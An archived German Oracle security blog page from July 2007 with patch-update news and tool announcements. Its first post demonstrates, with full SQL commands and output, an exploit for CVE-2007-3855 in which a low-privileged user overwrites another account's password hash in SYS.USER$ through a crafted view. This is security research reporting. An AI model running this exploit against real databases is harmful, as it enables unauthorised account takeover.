Sie befinden sich aktuell in den Archiven des Blogs Alexander Kornbrust Oracle Security Blog dt. für Juli, 2007.
- 10.2.0.4 (1)
- 11g (5)
- Allgemein (27)
- Auditing (1)
- Backdoor (2)
- Bücher (1)
- checkpwd (2)
- CPUApr2007 (1)
- CPUApr2008 (1)
- CPUJan2008 (3)
- CPUJul2007 (3)
- CPUJul2008 (1)
- CPUOct2007 (3)
- Database Vault (3)
- DOAG (1)
- Exploit (4)
- Forensik (1)
- Hedgehog (2)
- Inguma (1)
- Oracle (2)
- Oracle Security (22)
- Präsentation (2)
- rootkit (1)
- Security (6)
- Sentrigo (3)
- software (3)
- 9 Apr 2010: DOAG Berliner Expertenseminare: Oracle Hardening & Patching / Auditing & Co.
- 1 Mrz 2010: Sentrigo stellt den neuen Security Scanner Repscan 3.0 vor
- 21 Jan 2009: Webinar - Best Practices for Database Security
- 15 Jan 2009: Buchvorstellung: Oracle Survival Guide
- 24 Dez 2008: Frohe Weihnachten & ein gutes neues Jahr
- 14 Dez 2008: Datenklau bei Berliner Landesbank
- 3 Dez 2008: DOAG 2008
- 5 Sep 2008: Studie: 88% der IT Professionals würden bei Ihrer Entlassung Daten stehlen
- 9 Aug 2008: Oracle veröffentlicht Update für Oracle CPU July 2008
- 16 Apr 2008: Oracle Critical Patch Update - CPU April 2008
Archive für Juli 2007
Exploit für Create-View Problem wurde veröffentlicht
22 Jul 2007 von Alexander Kornbrust.
Andrea Purificato hat auf seiner Webseite einen Exploit für das Create-View-Problem (DB17 bzw CVE-2007-3855, das von RDS an Oracle gemeldet), das mit dem Juli 2007 CPU korrigiert wurde.
In dem veröffentlichten Exploit wird über eine View das Passwort in der Tabelle SYS.USER$ mit Hilfe des Update Kommandos aktualisiert. Ganz so wie auf der Webseite beschrieben, funktioniert dieser Exploit aber dennoch nicht, da man Passworte nicht direkt (und von Oracle supported) via Update ändern kann.
Beispiel:
– Zuerst berechnen wir Offline den Passwort Hash für den Benutzer RDS und die Passworte RDS und HACKED
c:\tools>makepwd.exe RDS RDS
B2ABF50FCECAE7CB
c:\tools>makepwd.exe RDS HACKED
7B843A192FF96BE9
– Im nächsten Schritt verbinden wir uns zur Datenbank und aktualisieren den Passwort-Hash über das Update Kommando
SQL> connect cpu/cpu
Connected.
SQL> create or replace view bunkerview as
2 select x.name,x.password from sys.user$ x left outer join sys.user$ y on
x.name=y.name;
View created.
SQL> update cpu.bunkerview set password=’7B843A192FF96BE9′ where name =’RDS’;
1 row updated.
SQL> commit;
Commit complete.
– Das Passwort ist nun auf HACKED geändert worden.
SQL> select password from sys.user$ where name=’RDS’;
PASSWORD
——————————
7B843A192FF96BE9
– Aber dennoch klappt der Connect nicht…
SQL> connect rds/hacked
ERROR:
ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.
– Damit dieser Exploit zusammen mit der Passwort-Änderung funktioniert, muss man allerdings die Datenbank neu starten. Nach dem Neustart funktioniert dann der per Update gesetzte Passwort Hash.
C:\>sqlplus rds/hacked
SQL*Plus: Release 10.2.0.3.0 - Production on Sun Jul 22 18:24:41 2007
Copyright (c) 1982, 2006, Oracle. All Rights Reserved.
Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining Scoring Engine options
SQL>
Geschrieben in Exploit, CPUJul2007, Allgemein | Drucken | 1 Kommentar »
Database Napply CPUs oder Welche Moleküle hast Du denn installiert?
17 Jul 2007 von Alexander Kornbrust.
Wie Eric Maurice von Oracle gerade auf dem Oracle Global Product Security Blog veröffentlicht hat, führt Oracle bei diesen CPU’s (und allen folgenden 10.2.0.4 und 11g) eine Neuigkeit ein, sogenannte “Database Napply CPUs”.
Diese Napply Patches sind in sogenannte Moleküle (molecules) aufgeteilt. Jedes Molekül ist absolut unabhängig voneinander und kann unabhängig installiert werden. Dadurch sind Patchkonflikte einfacher zu lösen.
Eine interessante Idee für alle DBAs die wegen Patchkonflikten keine vollständigen CPUs auf einer Datenbank einspielen können.
Eine Metalink Note zu diesem Thema findet sich hier.
In Zukunft wird unter DBAs wohl eher heissen: “Welche Moleküle hast Du denn installiert?”
Geschrieben in CPUJul2007, Allgemein | Drucken | Keine Kommentare »
Oracle CPU Juli 2007 veröffentlicht
17 Jul 2007 von Alexander Kornbrust.
Oracle hat soeben seinen CPU Juli 2007 veröffentlicht. In diesem CPU werden 3 Sicherheitslücken, die Red-Database-Security GmbH gemeldet hat, korrigiert.
Diese Fehler sind 2 SQL Injection Lücken (Apex und dbms_prvtaqis) wird ein kritischer Fehler in Datenbank-Views korrigiert. Der Fehler in den Views, nicht zu verwechseln mit denjenigen, die letztes Jahr im April und Oktober 2006, wurde korrigiert. Dabei kann ein Benutzer mit Lese-Rechten über spezielle zusammengesetzte Views Insert/Update/Delete Statements ausführen ohne die entsprechenden Rechte zu besitzen.
Dabei handelt es sich um ein Problem des Oracle Optimizers (Hallo Trivadis: Bitte auch den Optimizer testen
)
Unsere Analyse findet sich wie üblich bei Red-Database-Security.
Geschrieben in Allgemein | Drucken | Keine Kommentare »
Oracle University Guru Seminare
13 Jul 2007 von Alexander Kornbrust.
Die Oracle University bietet Guru Seminare zu verschiedenen Themen an. Unter anderem am 18. Oktober in München zum Thema Oracle Security. Dort werde ich neben Oracle Hacking auch den Oracle CPU October 2007 behandeln, der kurz vorher rausgekommen ist.
Die Platzanzahl ist begrenzt. Wie immer gilt: Wer zuerst kommt malt zuerst.
Geschrieben in Oracle Security, Allgemein | Drucken | Keine Kommentare »
Oracle Critical Patch Update Juli 2007 korrigiert 46 Lücken
12 Jul 2007 von Alexander Kornbrust.
Oracle hat die Vorankündigung für Oracle CPU Juli 2007 veröffentlicht. Insgesamt werden in der Oracle Datenbank 20 neue Sicherheitslücken korrigiert. Eine Korrektur ist für Oracle APEX (wurde von Red-Database-Security gemeldet) und ist bereits in Apex 3.0.1 bzw. Oracle 11g, dass 3.0.1 enthält, veröffentlicht. Welche anderen Lücken von RDS korrigiert wurden (siehe upcoming alerts von RDS), ist noch nicht bekannt.
2 Lücken sind remote ohne Benutzername und Passwort ausnutzbar.
Client-installationen sind diesmal nicht davon betroffen.
Im Oracle Application Server wurden 4 Lücken, Collabsuite 1 Fehler, E-Business-Suite 14, die restlichen Fehler sind in Peoplesoft. Die höchsten Lücken haben ein CVSS-Rating von 4.8, also relativ hoch.
Geschrieben in CPUJul2007, Oracle Security, Allgemein | Drucken | 1 Kommentar »
Versteigerung von Sicherheitslücken
9 Jul 2007 von Alexander Kornbrust.
Die in der Schweiz registrierte Firma WSLabi verkauft Sicherheitslücken (Exploits). Dazu stellt WSLabi eine Auktionsplattform zur Verfügung über die Sicherheitslücken gekauft und verkauft werden können.
Ein Artikel mit Details findet sich bei Securityfocus.
Der Trend Sicherheitslücken (für möglichst viel Geld) zu verkaufen anstatt dem Hersteller umsonst mitzuteilen, zeichnet sich seit den letzten 2 Jahren ab. Je sicherer die Software wird/ist, desto höher der Preis.
Geschrieben in Allgemein | Drucken | Keine Kommentare »
Probleme Oracle CPU April 2007 & Oracle 8.0.5 Clients
2 Jul 2007 von Alexander Kornbrust.
Nach dem Einspielen des Oracle CPU April 2007 funktioniert der Connect mit Oracle 8.0.5 nicht mehr. Oracle 8.0.5. wird beispielsweise zusammen mit OFSA 4.5 installiert. Ursache dieses Problems ist wahrscheinlich die Änderung des Verhaltens des Login Triggers (DB05 CPUApr2007), da der Alter Session Befehl nun nach dem Login-Trigger anstatt vor dem Login-Trigger ausgeführt wird.
Der entsprechende Metalink Eintrag ist unter “ORA-2248 INVALID OPTION FOR ALTER SESSION WITH FDM AND CPUAPR2007 PATCH” verfügbar.
Als Workaround schlägt Oracle das Update auf 8.0.6 vor.
Geschrieben in CPUApr2007, Oracle Security | Drucken | Keine Kommentare »
checkpwd 1.23 und sidguess für MacOS
2 Jul 2007 von Alexander Kornbrust.
Es gibt nun auch Checkpwd 1.23 und sidguess für Mac OSX als PPC Executable. Die deutsche Version 1.23 von Checkpwd zeigt allerdings nur noch an, ob Passworte schwach sind, aber nicht mehr, wie das Passwort lautet (§202c StGB läßt grüßen…).
Leider gibt es momentan nur eine PPC Version des Oracle Instant Clients für Mac, weshalb auch checkpwd für die PowerPC Architektur kompiliert wurde. Es bleibt zu hoffen, dass Oracle den Instant Client auf die Intel-Architektur migriert.
Sidguess
Geschrieben in checkpwd, software, Oracle Security | Drucken | 3 Kommentare »

